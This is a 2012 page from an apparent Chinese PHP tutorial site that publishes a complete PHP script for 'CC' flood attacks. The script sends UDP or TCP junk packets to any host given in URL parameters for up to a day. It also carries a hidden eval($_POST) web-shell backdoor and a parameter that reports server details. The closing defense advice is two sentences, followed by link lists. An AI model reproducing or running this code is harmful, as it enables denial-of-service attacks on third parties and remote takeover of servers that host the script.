php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
PHP stripos()函数及注意事项的分析
Jun 08 PHP
使用淘宝IP库获取用户ip地理位置
Oct 27 PHP
phpstrom使用xdebug配置方法
Dec 17 PHP
排序算法之PHP版快速排序、冒泡排序
Apr 09 PHP
CI框架中site_url()和base_url()的区别
Jan 07 PHP
php制作文本式留言板
Mar 18 PHP
PHP登录验证码的实现与使用方法
Jul 07 PHP
微信公众号模板消息群发php代码示例
Dec 29 PHP
详解PHP文件的自动加载(autoloading)
Feb 04 PHP
PHP生成加减算法方式的验证码实例
Mar 12 PHP
php 使用 __call实现重载功能示例
Nov 18 PHP
php+laravel 扫码二维码签到功能
May 15 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
多数据表共用一个页的新闻发布
2006/10/09 PHP
如何取得中文字符串中出现次数最多的子串
2013/08/08 PHP
PHP使用逆波兰式计算工资的方法
2015/07/29 PHP
php+jquery+html实现点击不刷新加载更多的实例代码
2016/08/12 PHP
PHP全局使用Laravel辅助函数dd
2019/12/26 PHP
执行iframe中的javascript方法
2008/10/07 Javascript
javascript XML数据显示为HTML一例
2008/12/23 Javascript
基于JQuery的一个简单的鼠标跟随提示效果
2010/09/23 Javascript
浏览器环境下JavaScript脚本加载与执行探析之动态脚本与Ajax脚本注入
2016/01/19 Javascript
js封装成插件_Canvas统计图插件编写实例
2017/09/12 Javascript
默认浏览器设置及vue自动打开页面的方法
2018/09/21 Javascript
vue+element模态框中新增模态框和删除功能
2019/06/11 Javascript
Python自动登录126邮箱的方法
2015/07/10 Python
Python 由字符串函数名得到对应的函数(实例讲解)
2017/08/10 Python
python 输出所有大小写字母的方法
2019/01/02 Python
Python实现的合并两个有序数组算法示例
2019/03/04 Python
在Python中合并字典模块ChainMap的隐藏坑【推荐】
2019/06/27 Python
python如何实现数据的线性拟合
2019/07/19 Python
详解Python3 中的字符串格式化语法
2020/01/15 Python
flask框架自定义url转换器操作详解
2020/01/25 Python
基于Python生成个性二维码过程详解
2020/03/05 Python
python 将视频 通过视频帧转换成时间实例
2020/04/23 Python
[原创]赚疯了!转手立赚800+?大佬的python「抢茅台脚本」使用教程
2021/01/12 Python
一款CSS3实现多功能下拉菜单(带分享按)的教程
2014/11/05 HTML / CSS
简单的HTML5初步入门教程
2015/09/29 HTML / CSS
乌克兰在线商店的价格比较:Price.ua
2019/07/26 全球购物
办公室主任先进事迹
2014/01/18 职场文书
致跳远运动员广播稿
2014/02/11 职场文书
协议书范本
2014/04/23 职场文书
社区学习雷锋活动总结
2014/04/25 职场文书
关于保护环境的建议书
2014/08/26 职场文书
绿色校园广播稿
2014/10/13 职场文书
学生逃课检讨书
2015/02/17 职场文书
2015年化验员工作总结
2015/04/10 职场文书
2019个人工作计划书的格式及范文!
2019/07/04 职场文书
JS异步堆栈追踪之为什么await胜过Promise
2021/04/28 Javascript